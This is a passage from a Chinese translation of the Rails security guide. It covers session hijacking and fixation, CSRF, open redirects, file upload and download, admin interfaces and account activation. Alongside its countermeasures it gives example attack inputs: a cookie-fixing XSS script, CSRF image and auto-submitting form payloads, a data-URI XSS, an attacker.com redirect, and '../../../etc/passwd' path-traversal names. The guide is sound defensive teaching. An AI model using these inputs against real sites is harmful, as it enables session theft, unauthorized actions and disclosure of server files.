# Rails 安全指南
本文介紹網頁程序中常見的安全隱患,以及如何在 Rails 中防范。
讀完本文,你將學到:
* 所有推薦使用的安全對策;
* Rails 中會話的概念,應該在會話中保存什么內容,以及常見的攻擊方式;
* 單單訪問網站為什么也有安全隱患(跨站請求偽造);
* 處理文件以及提供管理界面時應該注意哪些問題;
* 如何管理用戶:登錄、退出,以及各種攻擊方式;
* 最常見的注入攻擊方式;
### Chapters
1. [簡介](#%E7%AE%80%E4%BB%8B)
2. [會話](#%E4%BC%9A%E8%AF%9D)
* [會話是什么](#%E4%BC%9A%E8%AF%9D%E6%98%AF%E4%BB%80%E4%B9%88)
* [會話 ID](#%E4%BC%9A%E8%AF%9D-id)
* [會話劫持](#%E4%BC%9A%E8%AF%9D%E5%8A%AB%E6%8C%81)
* [會話安全指南](#%E4%BC%9A%E8%AF%9D%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97)
* [會話存儲](#%E4%BC%9A%E8%AF%9D%E5%AD%98%E5%82%A8)
* [`CookieStore` 存儲會話的重放攻擊](#cookiestore-%E5%AD%98%E5%82%A8%E4%BC%9A%E8%AF%9D%E7%9A%84%E9%87%8D%E6%94%BE%E6%94%BB%E5%87%BB)
* [會話固定攻擊](#%E4%BC%9A%E8%AF%9D%E5%9B%BA%E5%AE%9A%E6%94%BB%E5%87%BB)
* [會話固定攻擊的對策](#%E4%BC%9A%E8%AF%9D%E5%9B%BA%E5%AE%9A%E6%94%BB%E5%87%BB%E7%9A%84%E5%AF%B9%E7%AD%96)
* [會話過期](#%E4%BC%9A%E8%AF%9D%E8%BF%87%E6%9C%9F)
3. [跨站請求偽造](#%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
* [CSRF 的對策](#csrf-%E7%9A%84%E5%AF%B9%E7%AD%96)
4. [重定向和文件](#%E9%87%8D%E5%AE%9A%E5%90%91%E5%92%8C%E6%96%87%E4%BB%B6)
* [重定向](#%E9%87%8D%E5%AE%9A%E5%90%91)
* [文件上傳](#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0)
* [上傳文件中的可執行代碼](#%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E5%8F%AF%E6%89%A7%E8%A1%8C%E4%BB%A3%E7%A0%81)
* [文件下載](#%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD)
5. [局域網和管理界面的安全](#%E5%B1%80%E5%9F%9F%E7%BD%91%E5%92%8C%E7%AE%A1%E7%90%86%E7%95%8C%E9%9D%A2%E7%9A%84%E5%AE%89%E5%85%A8)
* [其他預防措施](#%E5%85%B6%E4%BB%96%E9%A2%84%E9%98%B2%E6%8E%AA%E6%96%BD)
6. [用戶管理](#%E7%94%A8%E6%88%B7%E7%AE%A1%E7%90%86)
* [暴力破解賬戶](#%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E8%B4%A6%E6%88%B7)
* [盜取賬戶](#%E7%9B%97%E5%8F%96%E8%B4%A6%E6%88%B7)
* [驗證碼](#%E9%AA%8C%E8%AF%81%E7%A0%81)
* [日志](#%E6%97%A5%E5%BF%97)
* [好密碼](#%E5%A5%BD%E5%AF%86%E7%A0%81)
* [正則表達式](#%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F)
* [權限提升](#%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87)
7. [注入](#%E6%B3%A8%E5%85%A5)
* [白名單與黑名單](#%E7%99%BD%E5%90%8D%E5%8D%95%E4%B8%8E%E9%BB%91%E5%90%8D%E5%8D%95)
* [SQL 注入](#sql-%E6%B3%A8%E5%85%A5)
* [跨站腳本](#%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC)
* [CSS 注入](#css-%E6%B3%A8%E5%85%A5)
* [Textile 注入](#textile-%E6%B3%A8%E5%85%A5)
* [Ajax 注入](#ajax-%E6%B3%A8%E5%85%A5)
* [命令行注入](#%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%B3%A8%E5%85%A5)
* [報頭注入](#%E6%8A%A5%E5%A4%B4%E6%B3%A8%E5%85%A5)
8. [生成的不安全查詢](#%E7%94%9F%E6%88%90%E7%9A%84%E4%B8%8D%E5%AE%89%E5%85%A8%E6%9F%A5%E8%AF%A2)
9. [默認報頭](#%E9%BB%98%E8%AE%A4%E6%8A%A5%E5%A4%B4)
10. [環境相關的安全問題](#%E7%8E%AF%E5%A2%83%E7%9B%B8%E5%85%B3%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98)
11. [其他資源](#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)
### 1 簡介
網頁程序框架的作用是幫助開發者構建網頁程序。有些框架還能增強網頁程序的安全性。其實框架之間無所謂誰更安全,只要使用得當,就能開發出安全的程序。Rails 提供了很多智能的幫助方法,例如避免 SQL 注入的方法,可以避免常見的安全隱患。我很欣慰,我所審查的 Rails 程序安全性都很高。
一般來說,安全措施不能隨取隨用。安全性取決于開發者怎么使用框架,有時也跟開發方式有關。而且,安全性受程序架構的影響:存儲方式,服務器,以及框架本身等。
不過,根據加特納咨詢公司的研究,約有 75% 的攻擊發生在網頁程序層,“在 300 個審查的網站中,97% 有被攻擊的可能”。網頁程序相對而言更容易攻擊,因為其工作方式易于理解,即使是外行人也能發起攻擊。
網頁程序面對的威脅包括:竊取賬戶,繞開訪問限制,讀取或修改敏感數據,顯示欺詐內容。攻擊者有可能還會安裝木馬程序或者來路不明的郵件發送程序,用于獲取經濟利益,或者修改公司資源,破壞企業形象。為了避免受到攻擊,最大程度的降低被攻擊后的影響,首先要完全理解各種攻擊方式,這樣才能有的放矢,找到最佳對策——這就是本文的目的。
為了能開發出安全的網頁程序,你必須要了解所用組件的最新安全隱患,做到知己知彼。想了解最新的安全隱患,可以訂閱安全相關的郵件列表,閱讀關注安全的博客,養成更新和安全檢查的習慣。詳情參閱“[其他資源](#additional-resources)”一節。我自己也會動手檢查,這樣才能找到可能引起安全問題的代碼。
### 2 會話
會話是比較好的切入點,有一些特定的攻擊方式。
#### 2.1 會話是什么
HTTP 是無狀態協議,會話讓其變成有狀態。
大多數程序都要記錄用戶的特定狀態,例如購物車里的商品,或者當前登錄用戶的 ID。沒有會話,每次請求都要識別甚至重新認證用戶。Rails 會為訪問網站的每個用戶創建會話,如果同一個用戶再次訪問網站,Rails 會加載現有的會話。
會話一般會存儲一個 Hash,以及會話 ID。ID 是由 32 個字符組成的字符串,用于識別 Hash。發送給瀏覽器的每個 cookie 中都包含會話 ID,而且瀏覽器發送到服務器的每個請求中也都包含會話 ID。在 Rails 程序中,可以使用 `session` 方法保存和讀取會話:
```
session[:user_id] = @current_user.id
User.find(session[:user_id])
```
#### 2.2 會話 ID
會話 ID 是 32 位字節長的 MD5 哈希值。
會話 ID 是一個隨機生成的哈希值。這個隨機生成的字符串中包含當前時間,0 和 1 之間的隨機數字,Ruby 解釋器的進程 ID(隨機生成的數字),以及一個常量。目前,還無法暴力破解 Rails 的會話 ID。雖然 MD5 很難破解,但卻有可能發生同值碰撞。理論上有可能創建完全一樣的哈希值。不過,這沒什么安全隱患。
#### 2.3 會話劫持
竊取用戶的會話 ID 后,攻擊者就能以該用戶的身份使用網頁程序。
很多網頁程序都有身份認證系統,用戶提供用戶名和密碼,網頁程序驗證提供的信息,然后把用戶的 ID 存儲到會話 Hash 中。此后,這個會話都是有效的。每次請求時,程序都會從會話中讀取用戶 ID,加載對應的用戶,避免重新認證用戶身份。cookie 中的會話 ID 用于識別會話。
因此,cookie 是網頁程序身份認證系統的中轉站。得到 cookie,就能以該用戶的身份訪問網站,這會導致嚴重的后果。下面介紹幾種劫持會話的方法以及對策。
* 在不加密的網絡中嗅聽 cookie。無線局域網就是一種不安全的網絡。在不加密的無線局域網中,監聽網內客戶端發起的請求極其容易。這是不建議在咖啡店工作的原因之一。對網頁程序開發者來說,可以使用 SSL 建立安全連接避免嗅聽。在 Rails 3.1 及以上版本中,可以在程序的設置文件中設置強制使用 SSL 連接:
```
config.force_ssl = true
```
* 大多數用戶在公用終端中完工后不清除 cookie。如果前一個用戶沒有退出網頁程序,你就能以該用戶的身份繼續訪問網站。網頁程序中一定要提供“退出”按鈕,而且要放在特別顯眼的位置。
* 很多跨站腳本(cross-site scripting,簡稱 XSS)的目的就是竊取用戶的 cookie。詳情參閱“[跨站腳本](#cross-site-scripting-xss)”一節。
* 有時攻擊者不會竊取用戶的 cookie,而為用戶指定一個會話 ID。這叫做“會話固定攻擊”,后文會詳細介紹。
大多數攻擊者的動機是獲利。[賽門鐵克全球互聯網安全威脅報告](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf)指出,在地下市場,竊取銀行賬戶的價格為 10-1000 美元(視賬戶余額而定),竊取信用卡卡號的價格為 0.40-20 美元,竊取在線拍賣網站賬戶的價格為 1-8 美元,竊取 Email 賬戶密碼的價格為 4-30 美元。
#### 2.4 會話安全指南
下面是一些常規的會話安全指南。
* **不在會話中存儲大型對象。**大型對象要存儲在數據庫中,會話中只保存對象的 ID。這么做可以避免同步問題,也不會用完會話存儲空間(空間大小取決于所使用的存儲方式,詳情見后文)。如果在會話中存儲大型對象,修改對象結構后,舊版數據仍在用戶的 cookie 中。在服務器端存儲會話可以輕而易舉地清除舊會話數據,但在客戶端中存儲會話就無能為力了。
* **敏感數據不能存儲在會話中。**如果用戶清除 cookie,或者關閉瀏覽器,數據就沒了。在客戶端中存儲會話數據,用戶還能讀取敏感數據。
#### 2.5 會話存儲
Rails 提供了多種存儲會話的方式,其中最重要的一個是 `ActionDispatch::Session::CookieStore`。
Rails 2 引入了一個新的默認會話存儲方式,`CookieStore`。`CookieStore` 直接把會話存儲在客戶端的 cookie 中。服務器無需會話 ID,可以直接從 cookie 中獲取會話。這種存儲方式能顯著提升程序的速度,但卻存在爭議,因為有潛在的安全隱患:
* cookie 中存儲的內容長度不能超過 4KB。這個限制沒什么影響,因為前面說過,會話中不應該存儲大型數據。**在會話中存儲用戶對象在數據庫中的 ID 一般來說也是可接受的。**
* 客戶端能看到會話中的所有數據,因為其中的內容都是明文(使用 Base64 編碼,因此沒有加密)。因此,**不能存儲敏感信息**。為了避免篡改會話,Rails 會根據服務器端的密令生成摘要,添加到 cookie 的末尾。
因此,cookie 的安全性取決于這個密令(以及計算摘要的算法,為了兼容,默認使用 SHA1)。**密令不能隨意取值,例如從字典中找個單詞,長度也不能少于 30 個字符。**
`secrets.secret_key_base` 指定一個密令,程序的會話用其和已知的安全密令比對,避免會話被篡改。`secrets.secret_key_base` 是個隨機字符串,保存在文件 `config/secrets.yml` 中:
```
development:
secret_key_base: a75d...
test:
secret_key_base: 492f...
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
```
Rails 以前版本中的 `CookieStore` 使用 `secret_token`,新版中的 `EncryptedCookieStore` 使用 `secret_key_base`。詳細說明參見升級指南。
如果你的程序密令暴露了(例如,程序的源碼公開了),強烈建議你更換密令。
#### 2.6 `CookieStore` 存儲會話的重放攻擊
使用 `CookieStore` 存儲會話時要注意一種叫做“重放攻擊”(replay attack)的攻擊方式。
重放攻擊的工作方式如下:
* 用戶收到一些點數,數量存儲在會話中(不應該存儲在會話中,這里只做演示之用);
* 用戶購買了商品;
* 剩余點數還在會話中;
* 用戶心生歹念,復制了第一步中的 cookie,替換掉瀏覽器中現有的 cookie;
* 用戶的點數又變成了消費前的數量;
在會話中寫入一個隨機值(nonce)可以避免重放攻擊。這個隨機值只能通過一次驗證,服務器記錄了所有合法的隨機值。如果程序用到了多個服務器情況就變復雜了。把隨機值存儲在數據庫中就違背了使用 `CookieStore` 的初衷(不訪問數據庫)。
避免重放攻擊最有力的方式是,不在會話中存儲這類數據,將其存到數據庫中。針對上例,可以把點數存儲在數據庫中,把登入用戶的 ID 存儲在會話中。
#### 2.7 會話固定攻擊
攻擊者可以不竊取用戶的會話 ID,使用一個已知的會話 ID。這叫做“會話固定攻擊”(session fixation)

會話固定攻擊的關鍵是強制用戶的瀏覽器使用攻擊者已知的會話 ID。因此攻擊者無需竊取會話 ID。攻擊過程如下:
* 攻擊者創建一個合法的會話 ID:打開網頁程序的登錄頁面,從響應的 cookie 中獲取會話 ID(如上圖中的第 1 和第 2 步)。
* 程序有可能在維護會話,每隔一段時間,例如 20 分鐘,就讓會話過期,減少被攻擊的可能性。因此,攻擊者要不斷訪問網頁程序,讓會話保持可用。
* 攻擊者強制用戶的瀏覽器使用這個會話 ID(如上圖中的第 3 步)。由于不能修改另一個域名中的 cookie(基于同源原則),攻擊者就要想辦法在目標網站的域中運行 JavaScript,通過跨站腳本把 JavaScript 注入目標網站。一個跨站腳本示例:`<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`。跨站腳本及其注入方式參見后文。
* 攻擊者誘引用戶訪問被 JavaScript 代碼污染的網頁。查看這個頁面后,用戶瀏覽器中的會話 ID 就被篡改成攻擊者偽造的會話 ID。
* 因為偽造的會話 ID 還沒用過,所以網頁程序要認證用戶的身份。
* 此后,用戶和攻擊者就可以共用同一個會話訪問這個網站了。攻擊者偽造的會話 ID 漂白了,而用戶渾然不知。
#### 2.8 會話固定攻擊的對策
只需一行代碼就能避免會話固定攻擊。
最有效的對策是,登錄成功后重新設定一個新的會話 ID,原來的會話 ID 作廢。這樣,攻擊者就無法使用固定的會話 ID 了。這個對策也能有效避免會話劫持。在 Rails 中重設會話的方式如下:
```
reset_session
```
如果用了流行的 RestfulAuthentication 插件管理用戶,要在 `SessionsController#create` 動作中調用 `reset_session` 方法。注意,這個方法會清除會話中的所有數據,**你要把用戶轉到新的會話中**。
另外一種對策是把用戶相關的屬性存儲在會話中,每次請求都做驗證,如果屬性不匹配就禁止訪問。用戶相關的屬性可以是 IP 地址或用戶代理名(瀏覽器名),不過用戶代理名和用戶不太相關。存儲 IP 地址時要注意,有些網絡服務提供商或者大型組織把用戶的真實 IP 隱藏在代理后面,對會話有比較大的影響,所以這些用戶可能無法使用程序,或者使用受限。
#### 2.9 會話過期
永不過期的會話增加了跨站請求偽造、會話劫持和會話固定攻擊的可能性。
cookie 的過期時間可以通過會話 ID 設定。然而,客戶端可以修改存儲在瀏覽器中的 cookie,因此在服務器上把會話設為過期更安全。下面的例子把存儲在數據庫中的會話設為過期。`Session.sweep("20 minutes")` 把二十分鐘前的會話設為過期。
```
class Session < ActiveRecord::Base
def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(unit) }
end
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end
```
在“會話固定攻擊”一節提到過維護會話的問題。雖然上述代碼能把會話設為過期,但攻擊者每隔五分鐘訪問一次網站就能讓會話始終有效。對此,一個簡單的解決辦法是在會話數據表中添加 `created_at` 字段,刪除很久以前創建的會話。在上面的代碼中加入下面的代碼即可:
```
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
```
### 3 跨站請求偽造
跨站請求偽造(cross-site request forgery,簡稱 CSRF)攻擊的方法是在頁面中包含惡意代碼或者鏈接,攻擊者認為被攻擊的用戶有權訪問另一個網站。如果用戶在那個網站的會話沒有過期,攻擊者就能執行未經授權的操作。

讀過前一節我們知道,大多數 Rails 程序都使用 cookie 存儲會話,可能只把會話 ID 存儲在 cookie 中,而把會話內容存儲在服務器上,或者把整個會話都存儲在客戶端。不管怎樣,只要能找到針對某個域名的 cookie,請求時就會連同該域中的 cookie 一起發送。這就是問題所在,如果請求由域名不同的其他網站發起,也會一起發送 cookie。我們來看個例子。
* Bob 訪問一個留言板,其中有篇由黑客發布的帖子,包含一個精心制造的 HTML 圖片元素。這個元素指向 Bob 的項目管理程序中的某個操作,而不是真正的圖片文件。
* 圖片元素的代碼為 `<img src="http://www.webapp.com/project/1/destroy">`。
* Bob 在 [www.webapp.com](http://www.webapp.com) 網站上的會話還有效,因為他并沒有退出。
* 查看這篇帖子后,瀏覽器發現有個圖片標簽,嘗試從 [www.webapp.com](http://www.webapp.com) 加載這個可疑的圖片。如前所述,瀏覽器會同時發送 cookie,其中就包含可用的會話 ID。
* [www.webapp.com](http://www.webapp.com) 驗證了會話中的用戶信息,銷毀 ID 為 1 的項目。請求得到的響應頁面瀏覽器無法解析,因此不會顯示圖片。
* Bob 并未察覺到被攻擊了,一段時間后才發現 ID 為 1 的項目不見了。
有一點要特別注意,精心制作的圖片或鏈接無需出現在網頁程序的同一域名中,任何地方都可以,論壇、博客,甚至是電子郵件。
CSRF 很少出現在 CVE(通用漏洞披露,Common Vulnerabilities and Exposures)中,2006 年比例還不到 0.1%,但卻是個隱形殺手。這倒和我(以及其他人)的安全合約工作得到的結果完全相反——**CSRF 是個嚴重的安全問題**。
#### 3.1 CSRF 的對策
首先,遵守 W3C 的要求,適時地使用 GET 和 POST 請求。其次,在非 GET 請求中加入安全權標可以避免程序受到 CSRF 攻擊。
HTTP 協議提供了兩種主要的基本請求類型,GET 和 POST(當然還有其他請求類型,但大多數瀏覽器都不支持)。萬維網聯盟(World Wide Web Consortium,簡稱 W3C)提供了一個檢查表用于選擇 GET 和 POST:
**使用 GET 請求的情形:**
* 交互更像是在詢問,例如查詢,讀取等安全的操作;
**使用 POST 請求的情形:**
* 交互更像是執行某項命令;
* 交互改變了資源的狀態,且用戶能察覺到這個變化,例如訂閱一項服務;
* 交互的結果由用戶負責;
如果你的網頁程序使用 REST 架構,可能已經用過其他 HTTP 請求,例如 PATCH、PUT 和 DELETE。現今的大多數瀏覽器都不支持這些請求,只支持 GET 和 POST。Rails 使用隱藏的 `_method` 字段處理這一難題。
**POST 請求也能自動發送。**舉個例子,下面這個鏈接雖在瀏覽器的狀態欄中顯示的目標地址是 [www.harmless.com](http://www.harmless.com) ,但其實卻動態地創建了一個表單,發起 POST 請求。
```
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
```
攻擊者還可以把代碼放在圖片的 `onmouseover` 事件句柄中:
```
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```
偽造請求還有其他方式,例如使用 `<script>` 標簽向返回 JSONP 或 JavaScript 的地址發起跨站請求。響應是可執行的代碼,攻擊者能找到方法執行其中的代碼,獲取敏感數據。為了避免這種數據泄露,可以禁止使用跨站 `<script>` 標簽,只允許使用 Ajax 請求獲取 JavaScript 響應,因為 XmlHttpRequest 遵守同源原則,只有自己的網站才能發起請求。
為了防止其他偽造請求,我們可以使用安全權標,這個權標只有自己的網站知道,其他網站不知道。我們要在請求中加入這個權標,且要在服務器上做驗證。這些操作只需在控制器中加入下面這行代碼就能完成:
```
protect_from_forgery
```
加入這行代碼后,Rails 生成的所有表單和 Ajax 請求中都會包含安全權標。如果安全權標和預期的值不一樣,程序會重置會話。
一般來說最好使用持久性 cookie 存儲用戶的信息,例如 `cookies.permanent`。此時,cookie 不會被清除,而且自動加入的 CSRF 保護措施也不會受到影響。如果此類信息沒有使用會話存儲在 cookie 中,就要自己動手處理:
```
def handle_unverified_request
super
sign_out_user # Example method that will destroy the user cookies.
end
```
上述代碼可以放到 `ApplicationController` 中,如果非 GET 請求中沒有 CSRF 權標就會調用這個方法。
注意,跨站腳本攻擊會跳過所有 CSRF 保護措施。攻擊者通過跨站腳本可以訪問頁面中的所有元素,因此能讀取表單中的 CSRF 安全權標或者直接提交表單。詳情參閱“[跨站腳本](#cross-site-scripting-xss)”一節。
### 4 重定向和文件
有一種安全漏洞由網頁程序中的重定向和文件引起。
#### 4.1 重定向
網頁程序中的重定向是個被低估的破壞工具:攻擊者可以把用戶引到有陷阱的網站,或者制造獨立攻擊(self-contained attack)。
只要允許用戶指定重定向地址,就有可能被攻擊。最常見的攻擊方式是把用戶重定向到一個和正牌網站看起來一模一樣虛假網站。這叫做“釣魚攻擊”。攻擊者把不會被懷疑的鏈接通過郵件發給用戶,在鏈接中注入跨站腳本,或者把鏈接放在其他網站中。用戶之所以不懷疑,是因為鏈接以熟知的網站域名開頭,轉向惡意網站的地址隱藏在重定向參數中,例如 [http://www.example.com/site/redirect?to=](http://www.example.com/site/redirect?to=) [www.attacker.com。我們來看下面這個](http://www.attacker.com%E3%80%82%E6%88%91%E4%BB%AC%E6%9D%A5%E7%9C%8B%E4%B8%8B%E9%9D%A2%E8%BF%99%E4%B8%AA) `legacy` 動作:
```
def legacy
redirect_to(params.update(action:'main'))
end
```
如果用戶訪問 `legacy` 動作,會轉向 `main` 動作。其作用是保護 URL 參數,將其轉向 `main` 動作。但是,如果攻擊者在 URL 中指定 `host` 參數仍能用來攻擊:
```
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
```
如果 `host` 參數出現在地址的末尾,用戶很難察覺,最終被重定向到 attacker.com。對此,一種簡單的對策是只允許在 `legacy` 動作中使用指定的參數(使用白名單,而不是刪除不該使用的參數)。如果重定向到一個地址,要通過白名單或正則表達式檢查目標地址。
##### 4.1.1 獨立跨站腳本攻擊
還有一種重定向和獨立跨站腳本攻擊可通過在 Firefox 和 Opera 中使用 data 協議實現。data 協議直接把內容顯示在瀏覽器中,可以包含任何 HTML 或 JavaScript,以及完整的圖片:
```
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
```
這是個使用 Base64 編碼的 JavaScript 代碼,顯示一個簡單的彈出窗口。在重定向地址中,攻擊者可以通過這段惡意代碼把用戶引向這個地址。對此,一個對策是禁止用戶指定重定向的地址。
#### 4.2 文件上傳
確保上傳的文件不會覆蓋重要的文件,而且要異步處理文件上傳過程。
很多網頁程序都允許用戶上傳文件。程序應該過濾文件名,因為用戶可以(部分)指定文件名,攻擊者可以使用惡意的文件名覆蓋服務器上的任意文件。如果上傳的文件存儲在 `/var/www/uploads` 文件夾中,用戶可以把上傳的文件命名為 `../../../etc/passwd`,這樣就覆蓋了重要文件。當然了,Ruby 解釋器需要特定的授權才能這么做。這也是為什么要使用權限更少的用戶運行網頁服務器、數據庫服務器等程序的原因。
過濾用戶上傳文件的文件名時,不要只刪除惡意部分。設想這樣一種情況,網頁程序刪除了文件名中的所有 `../`,但是攻擊者可以使用 `....//`,得到的結果還是 `../`。最好使用白名單,確保文件名中只包含指定的字符。這和黑名單的做法不同,黑名單只是簡單的把不允許使用的字符刪掉。如果文件名不合法,拒絕使用即可(或者替換成允許使用的字符),不要刪除不可用的字符。下面這個文件名清理方法摘自 [attachment_fu](https://github.com/technoweenie/attachment_fu/tree/master) 插件。
```
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end
```
同步處理文件上傳一個明顯的缺點是,容易受到“拒絕服務”(denial-of-service,簡稱 DOS)攻擊。攻擊者可以同時在多臺電腦上上傳圖片,增加服務器負載,最終有可能導致服務器宕機。
所以最好異步處理媒體文件的上傳過程:保存媒體文件,然后在數據庫中排期一個處理請求,讓另一個進程在后臺上傳文件。
#### 4.3 上傳文件中的可執行代碼
如果把上傳的文件存放在特定的文件夾中,其中的源碼會被執行。如果 `/public` 文件夾是 Apache 的根目錄,就不能把上傳的文件保存在這個文件夾里。
使用廣泛的 Apache 服務器有個選項叫做 `DocumentRoot`。這個選項指定網站的根目錄,這個文件夾中的所有文件都會由服務器伺服。如果文件使用特定的擴展名(例如 PHP 和 CGI 文件),請求該文件時會執行其中包含的代碼(可能還要設置其他選項)。假設攻擊者上傳了一個名為 `file.cgi` 的文件,用戶下載這個文件時就會執行其中的代碼。
如果 Apache 的 `DocumentRoot` 指向 Rails 的 `/public` 文件夾,請不要把上傳的文件放在這個文件夾中, 至少要放在子文件夾中。
#### 4.4 文件下載
確保用戶不能隨意下載文件。
就像過濾上傳文件的文件名一樣,下載文件時也要這么做。`send_file()` 方法可以把服務器上的文件發送到客戶端,如果不過濾用戶提供的文件名,可以下載任何一個文件:
```
send_file('/var/www/uploads/' + params[:filename])
```
把文件名設為 `../../../etc/passwd` 就能下載服務器的登錄信息。一個簡單的對策是,檢查請求的文件是否在指定的文件夾中:
```
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'
```
另外一種方法是把文件名保存在數據庫中,然后用數據庫中的 ID 命名存儲在硬盤上的文件。這樣也能有效避免執行上傳文件中的代碼。attachment_fu 插件使用的就是類似方式。
### 5 局域網和管理界面的安全
局域網和管理界面是常見的攻擊目標,因為這些地方有訪問特權。局域網和管理界面需要多種安全防護措施,但實際情況卻不理想。
2007 年出現了第一個專門用于竊取局域網信息的木馬,名為“Monster for employers”,攻擊 Monster.com 這個在線招聘網站。迄今為止,特制的木馬雖然很少出現,但卻表明了客戶端安全的重要性。不過,局域網和管理界面面對的最大威脅是 XSS 和 CSRF。
**XSS** 如果轉發了來自外部網絡的惡意內容,程序有可能受到 XSS 攻擊。用戶名、評論、垃圾信息過濾程序、訂單地址等都是經常被 XSS 攻擊的對象。
如果局域網或管理界面的輸入沒有過濾,整個程序都處在危險之中。可能的攻擊包括:竊取有權限的管理員 cookie,注入 iframe 偷取管理員的密碼,通過瀏覽器漏洞安裝惡意軟件控制管理員的電腦。
XSS 的對策參閱“[注入](#injection)”一節。在局域網和管理界面中也推薦使用 SafeErb 插件。
**CSRF** 跨站請求偽造(Cross-Site Request Forgery,簡稱 CSRF 或者 XSRF)是一種防不勝防的攻擊方式,攻擊者可以用其做管理員和局域網內用戶能做的一切操作。CSRF 的工作方式前文已經介紹過,下面我們來看一下攻擊者能在局域網或管理界面中做些什么。
一個真實地案例是[通過 CSRF 重新設置路由器](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352)。攻擊者向墨西哥用戶發送了一封包含 CSRF 的惡意電子郵件,聲稱有一封電子賀卡。郵件中還有一個圖片標簽,發起 HTTP GET 請求,重新設置用戶的路由器。這個請求修改了 DNS 設置,如果用戶訪問墨西哥的銀行網站,會被帶到攻擊者的網站。只要通過這個路由器訪問銀行網站,用戶就會被引向攻擊者的網站,導致密碼被偷。
還有一個案例是修改 Google Adsense 賬戶的 Email 地址和密碼。如果用戶登錄 Google Adsense,攻擊者就能竊取密碼。
另一種常見的攻擊方式是在網站中發布垃圾信息,通過博客或論壇傳播惡意的跨站腳本。當然了,攻擊者要知道地址的結構,不過大多數 Rails 程序的地址結構一目了然。如果程序是開源的,也很容易找出地址的結構。攻擊者甚至可以通過惡意的圖片標簽猜測,嘗試各種可能的組合,幸運的話不會超過一千次。
在局域網和管理界面防范 CSRF 的方法參見“[CSRF 的對策](#csrf-countermeasures)”一節。
#### 5.1 其他預防措施
管理界面一般都位于 [www.example.com/admin,或許只有](http://www.example.com/admin%EF%BC%8C%E6%88%96%E8%AE%B8%E5%8F%AA%E6%9C%89) `User` 模型的 `admin` 字段為 `true` 時才能訪問。管理界面顯示了用戶的輸入內容,管理員可根據需求刪除、添加和編輯數據。我對管理界面的一些想法:
* 一定要考慮最壞的情況:如果有人得到了我的 cookie 或密碼該怎么辦。你可以為管理界面引入用戶角色,限制攻擊者的權限。也可為管理界面使用特殊的密碼,和網站前臺不一樣。也許每個重要的動作都使用單獨的特殊密碼也是個不錯的主意。
* 管理界面有必要能從世界各地訪問嗎?考慮一下限制能登陸的 IP 地址段。使用 `request.remote_ip` 可以獲取用戶的 IP 地址。這一招雖不能保證萬無一失,但卻是道有力屏障。使用時要注意代理的存在。
* 把管理界面放到單獨的子域名中,例如 admin.application.com,使用獨立的程序及用戶管理系統。這樣就不可能從 [www.application.com](http://www.application.com) 中竊取管理密碼了,因為瀏覽器中有同源原則:注入 [www.application.com](http://www.application.com) 中的跨站腳本無法讀取 admin.application.com 中的 cookie,反之亦然。
### 6 用戶管理
幾乎每個網頁程序都要處理權限和認證。不要自己實現這些功能,推薦使用常用的插件,而且要及時更新。除此之外還有一些預防措施,可以讓程序更安全。
Rails 身份認證插件很多,比較好的有 [devise](https://github.com/plataformatec/devise) 和 [authlogic](https://github.com/binarylogic/authlogic)。這些插件只存儲加密后的密碼,不會存儲明文。從 Rails 3.1 起,可以使用內建的 `has_secure_password` 方法實現類似的功能。
注冊后程序會生成一個激活碼,用戶會收到一封包含激活鏈接的郵件。激活賬戶后,數據庫中的 `activation_code` 字段被設為 `NULL`。如果有人訪問類似的地址,就能以在數據庫中查到的第一個激活的用戶身份登錄程序,這個用戶極有可能是管理員:
```
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
```
這么做之所以可行,是因為在某些服務器上,訪問上述地址后,ID 參數(`params[:id]`)的值是 `nil`。查找激活碼的方法如下:
```
User.find_by_activation_code(params[:id])
```
如果 ID 為 `nil`,生成的 SQL 查詢如下:
```
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
查詢到的是數據庫中的第一個用戶,返回給動作并登入該用戶。詳細說明參見[我博客上的文章](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/)。因此建議經常更新插件。而且,審查程序的代碼也可以發現類似問題。
#### 6.1 暴力破解賬戶
暴力破解需要不斷嘗試,根據錯誤提示做改進。提供模糊的錯誤消息、使用驗證碼可以避免暴力破解。
